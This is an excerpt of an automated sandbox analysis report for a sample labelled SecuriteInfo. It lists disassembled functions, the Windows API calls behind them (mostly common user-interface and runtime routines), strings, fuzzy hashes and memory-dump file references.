Opcode Fuzzy Hash: 08840d8dfa70003b550151291fcf92dcb25a38b9b4caa654382f718df04a7c38
Instruction Fuzzy Hash: E4519C72310A8086EB66EB73E4657DD3361A749BD8F804122AF1D57BE6DF38D906C380

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140004600 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 0000000140004663
LocalFree.KERNEL32 ref: 000000014000473C

Strings

: , xrefs: 0000000140004716
System error : 0x, xrefs: 00000001400046FA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: : $System error : 0x
API String ID: 1427518018-205398988
Opcode ID: a819ebb1ede2506ad0eb4f9736366998c48c740a0145a6801198ebcc4d66454c
Instruction ID: 18df93e3c1752428e578bd6693b4c269b6c4787c5d1d1bc6d59e220bef9140a0
Opcode Fuzzy Hash: a819ebb1ede2506ad0eb4f9736366998c48c740a0145a6801198ebcc4d66454c
Instruction Fuzzy Hash: 21317EB2208B8082D765DB16F85539AB3E5F789BC0F840126FBC983769DF78C455CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000014003C730 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000014003C7EF
DeactivateActCtx.KERNEL32 ref: 000000014003C802
SetLastError.KERNEL32 ref: 000000014003C80E

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Strings

GetFileTitleW, xrefs: 000000014003C799

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateDeactivateDebugOutputString
String ID: GetFileTitleW
API String ID: 2188249819-1191607377
Opcode ID: eb19d030965a60717eacb0907aaeeb8720e634dba8e1425d4df6020535d598f9
Instruction ID: c0a536d83d5f6cdd6a6a5fcc8be83461aac8cb00dcaf585e5fc6039254c30efb
Opcode Fuzzy Hash: eb19d030965a60717eacb0907aaeeb8720e634dba8e1425d4df6020535d598f9
Instruction Fuzzy Hash: 7121B73522475081FA539B639884BEB67E0B74CBE4F09112AEF45477F0CB78C895CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400480C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140048150
DeactivateActCtx.KERNEL32 ref: 0000000140048163
SetLastError.KERNEL32 ref: 000000014004816F

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Strings

InitCommonControlsEx, xrefs: 0000000140048105

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateDeactivateDebugOutputString
String ID: InitCommonControlsEx
API String ID: 2188249819-2357626986
Opcode ID: 8a8f791d908e9920c920ebe4a965ee62f154713c2806bdc3c8897a65e8c8c6ea
Instruction ID: ce367025351476cd4355b3dafe5d4d5b70f0518a898d126a46a34ee0825dfc16
Opcode Fuzzy Hash: 8a8f791d908e9920c920ebe4a965ee62f154713c2806bdc3c8897a65e8c8c6ea
Instruction Fuzzy Hash: B321513564474092FA629B57A8443D9A2E8A79CBD0F0A043ADF49477F0DFB8C882C784

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400562FC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000014005638C
DeactivateActCtx.KERNEL32 ref: 000000014005639F
SetLastError.KERNEL32 ref: 00000001400563AB

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Strings

GetOpenFileNameW, xrefs: 0000000140056341

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateDeactivateDebugOutputString
String ID: GetOpenFileNameW
API String ID: 2188249819-1384924626
Opcode ID: 402d856f5eb8a98f2f6c6a4f564cd52286ab4389c82b0ef306f7586e10b6164a
Instruction ID: 844cb2a4671fa5eb6d5128c4761d071af7cc273e9f11dd3f7841f35974a10973
Opcode Fuzzy Hash: 402d856f5eb8a98f2f6c6a4f564cd52286ab4389c82b0ef306f7586e10b6164a
Instruction Fuzzy Hash: F0214D36601B4186FB53DB67E8447E9A3E0A79CBD0F590029AB49473F4DFB9C981CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400563C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140056454
DeactivateActCtx.KERNEL32 ref: 0000000140056467
SetLastError.KERNEL32 ref: 0000000140056473

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Strings

GetSaveFileNameW, xrefs: 0000000140056409

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateDeactivateDebugOutputString
String ID: GetSaveFileNameW
API String ID: 2188249819-611885661
Opcode ID: fede27d4b8bc1e01c3b38b05bd3f39b046a3f0be9c2bd6bcddbf3964f209a283
Instruction ID: d775493eedad26ea164f079b74b2b74102affa13a4f6fb4bb6ff922810bc0f1b
Opcode Fuzzy Hash: fede27d4b8bc1e01c3b38b05bd3f39b046a3f0be9c2bd6bcddbf3964f209a283
Instruction Fuzzy Hash: EA21813524070082FA53DB67A4443E963E0E79CBD0F484129EB49477F5DF79C886CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140036568 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32 ref: 0000000140036588
ActivateActCtx.KERNEL32 ref: 00000001400365B3
GetLastError.KERNEL32 ref: 00000001400365BD

Strings

IsolationAware function called after IsolationAwareCleanup, xrefs: 0000000140036581

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ActivateDebugErrorLastOutputString
String ID: IsolationAware function called after IsolationAwareCleanup
API String ID: 2396347390-2690750368
Opcode ID: ab8f0232e0cf3400e01600403f30409ece02e0b2b4268008a1f0eee4b1d6d50b
Instruction ID: 6af9db88415629e5b2b4bf4289af5a707923620bd19128924b4c6296adfc6ee1
Opcode Fuzzy Hash: ab8f0232e0cf3400e01600403f30409ece02e0b2b4268008a1f0eee4b1d6d50b
Instruction Fuzzy Hash: 19011E74200A0186FB639B67E8D87EB63E1A70C7D4F548035EB44876F8DBB9CC858B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017A82C Relevance: 6.3, APIs: 4, Instructions: 339COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 000000014017A95E
InflateRect.USER32 ref: 000000014017A971

Part of subcall function 0000000140087488: InflateRect.USER32 ref: 000000014008755E

FillRect.USER32 ref: 000000014017AA22

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Inflate$Fill
String ID:
API String ID: 309753019-0
Opcode ID: d13bfcb1eb00d343997370fc84fdc03c27faf0a6d897f8f00006e03df2861629
Instruction ID: 29d9f51bf4d69200187b024e01464fbc54c613400533d7bcc060ba0a8552b789
Opcode Fuzzy Hash: d13bfcb1eb00d343997370fc84fdc03c27faf0a6d897f8f00006e03df2861629
Instruction Fuzzy Hash: 34E1CE36714A8186EB16DB66D4447ED33A1F78CF94F488226EF4A57BA5DF38C846CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400DC054 Relevance: 6.3, APIs: 4, Instructions: 318COMMON

Download Yara Rule

APIs

GetTextColor.GDI32 ref: 00000001400DC0BF
GetTextExtentPoint32W.GDI32 ref: 00000001400DC116

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Text$ColorExtentPoint32
String ID:
API String ID: 3889842664-0
Opcode ID: fa00ac69310722e6ffc6f1bc36fcb9f291203d11b301b2fbd182a99a97bdd50f
Instruction ID: 3ea763f5d17c414e97b46d3ec7a792c3b48eae0745338f3ad13006c6cf56271c
Opcode Fuzzy Hash: fa00ac69310722e6ffc6f1bc36fcb9f291203d11b301b2fbd182a99a97bdd50f
Instruction Fuzzy Hash: 46E14837710691CAE715CFAAD484BAD37A1F74CB88F15822AEF4993B59DB34D841CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140124538 Relevance: 6.3, APIs: 4, Instructions: 259COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 00000001401245AB
SetRectEmpty.USER32 ref: 00000001401245F8
IsRectEmpty.USER32 ref: 0000000140124667

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: fd655b54ac32e1a7385abd6d01793a0f2c5e3e9597ed8bfb7daffdee8236011d
Instruction ID: 85f7bf9fc6d4eb9bca599a792dee972ed5d2177abe9d0ead8c77f84b8b7838ab
Opcode Fuzzy Hash: fd655b54ac32e1a7385abd6d01793a0f2c5e3e9597ed8bfb7daffdee8236011d
Instruction Fuzzy Hash: 7AA178B26106818BEB59CF7ADA54BED37A1F74CB48F088129DF46A77A4DB34E450CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401B051C Relevance: 6.2, APIs: 4, Instructions: 202COMMON

Download Yara Rule

APIs

EnableWindow.USER32 ref: 00000001401B0584
CopyRect.USER32 ref: 00000001401B060A
OffsetRect.USER32 ref: 00000001401B06D7

Part of subcall function 00000001401B0DF8: GetClientRect.USER32 ref: 00000001401B0E64
Part of subcall function 00000001401B0DF8: GetSystemMetrics.USER32 ref: 00000001401B0E78
Part of subcall function 00000001401B0DF8: InflateRect.USER32 ref: 00000001401B0E93
Part of subcall function 00000001401B0DF8: GetClientRect.USER32 ref: 00000001401B0FEB
Part of subcall function 00000001401B0DF8: InflateRect.USER32 ref: 00000001401B0FFC
Part of subcall function 00000001401B0DF8: GetSystemMetrics.USER32 ref: 00000001401B1007

InflateRect.USER32 ref: 00000001401B07B0

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Inflate$ClientMetricsSystem$CopyEnableExceptionOffsetThrowWindow
String ID:
API String ID: 4014177440-0
Opcode ID: 7d110590321d132fb8ae4f87cef2983def826f1779396d45df1a61a149f4e450
Instruction ID: 541c7727f85d37a0d7b3c1fe3cb0d094500469ccbf0759f0595be4bbb0929986
Opcode Fuzzy Hash: 7d110590321d132fb8ae4f87cef2983def826f1779396d45df1a61a149f4e450
Instruction Fuzzy Hash: 30918E32600A8086EB26EB67E4447DE77B0F78CB94F144125EF8A57BA5DF78D551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006230 Relevance: 6.2, APIs: 4, Instructions: 197COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000014003517C: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035198

_invalid_parameter_noinfo.LIBCMT ref: 00000001400062EC
_invalid_parameter_noinfo.LIBCMT ref: 000000014000630F

Part of subcall function 00000001400061A0: _invalid_parameter_noinfo.LIBCMT ref: 0000000140006213

_invalid_parameter_noinfo.LIBCMT ref: 0000000140006419
_invalid_parameter_noinfo.LIBCMT ref: 000000014000643C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ExceptionThrow
String ID:
API String ID: 2961551908-0
Opcode ID: e216caddd65bec29fa6e9bafa07c7fd93960c7b3078ec20aab452979d5afa4d7
Instruction ID: cfd7c19b0af8b7e9eb9ffe2fa79957c28641364e46fd532d574e4ef77482dde7
Opcode Fuzzy Hash: e216caddd65bec29fa6e9bafa07c7fd93960c7b3078ec20aab452979d5afa4d7
Instruction Fuzzy Hash: 3561E1B1701A40C6EA16EF7BF0843ED63A2AB4CBC0F648125BB59277B6CF39C5518740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400AC408 Relevance: 6.2, APIs: 4, Instructions: 197COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 00000001400AC4A1
RedrawWindow.USER32 ref: 00000001400AC53C
PtInRect.USER32 ref: 00000001400AC6D8
GetParent.USER32 ref: 00000001400AC6F3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$EmptyParentRedrawWindow
String ID:
API String ID: 3364553503-0
Opcode ID: 197682ab573342bfc396990fec3d2c992254b4f9af3ef9eae4350b943b3fc8d9
Instruction ID: 9daf499628feec045285e9e2cf471812cb1dce3e1f44d8e5520f13469bbb1221
Opcode Fuzzy Hash: 197682ab573342bfc396990fec3d2c992254b4f9af3ef9eae4350b943b3fc8d9
Instruction Fuzzy Hash: 2991C13262168087E75ACF2AD148BED33A1F3DCBC9F154225EB49476A6DB35D8C28F04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140176150 Relevance: 6.2, APIs: 4, Instructions: 193stringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 0000000140176197

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

lstrcmpW.KERNEL32 ref: 0000000140176252
lstrcmpW.KERNEL32 ref: 0000000140176283
lstrcmpW.KERNEL32 ref: 00000001401762B4

Part of subcall function 000000014003D638: GlobalFlags.KERNEL32 ref: 000000014003D64A
Part of subcall function 000000014003D638: GlobalUnlock.KERNEL32(?,?,?,?,?,?,?,000000014007F64C,?,?,?,00000001400B4E6A), ref: 000000014003D65A
Part of subcall function 000000014003D638: GlobalFree.KERNEL32 ref: 000000014003D668

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Global$lstrcmp$ExceptionFlagsFreeLockThrowUnlock
String ID:
API String ID: 3532356804-0
Opcode ID: 50e71cd455c87fad4b0fa71edb1b8a2932b2d57fa84707c2030d8b0fea4551ca
Instruction ID: 318dc905bf5b4c5b0bd3ab1b2ebca4ce5b59ec7c09429c753b19c079386a4ea2
Opcode Fuzzy Hash: 50e71cd455c87fad4b0fa71edb1b8a2932b2d57fa84707c2030d8b0fea4551ca
Instruction Fuzzy Hash: 62917936211A8086EB66EF36D4857ED3360FB88B94F444226EB6E577B6DF38C944C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C4214 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00000001400C428B
InflateRect.USER32 ref: 00000001400C42C8
GetSystemMetrics.USER32 ref: 00000001400C434E

Part of subcall function 0000000140045400: SetScrollInfo.USER32 ref: 0000000140045465

EnableScrollBar.USER32 ref: 00000001400C449C

Part of subcall function 000000014003A624: EnableWindow.USER32 ref: 000000014003A645

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EnableRectScroll$ClientInflateInfoMetricsSystemWindow
String ID:
API String ID: 3090651611-0
Opcode ID: 3ee5b264e38b3ff192662d686a090c290409bd91c861a4d39cef7a6272de39bf
Instruction ID: f977e3edb861ca0794cc7b17785d4a2bd6d6843070be1e8e9a37c6c89cd0262e
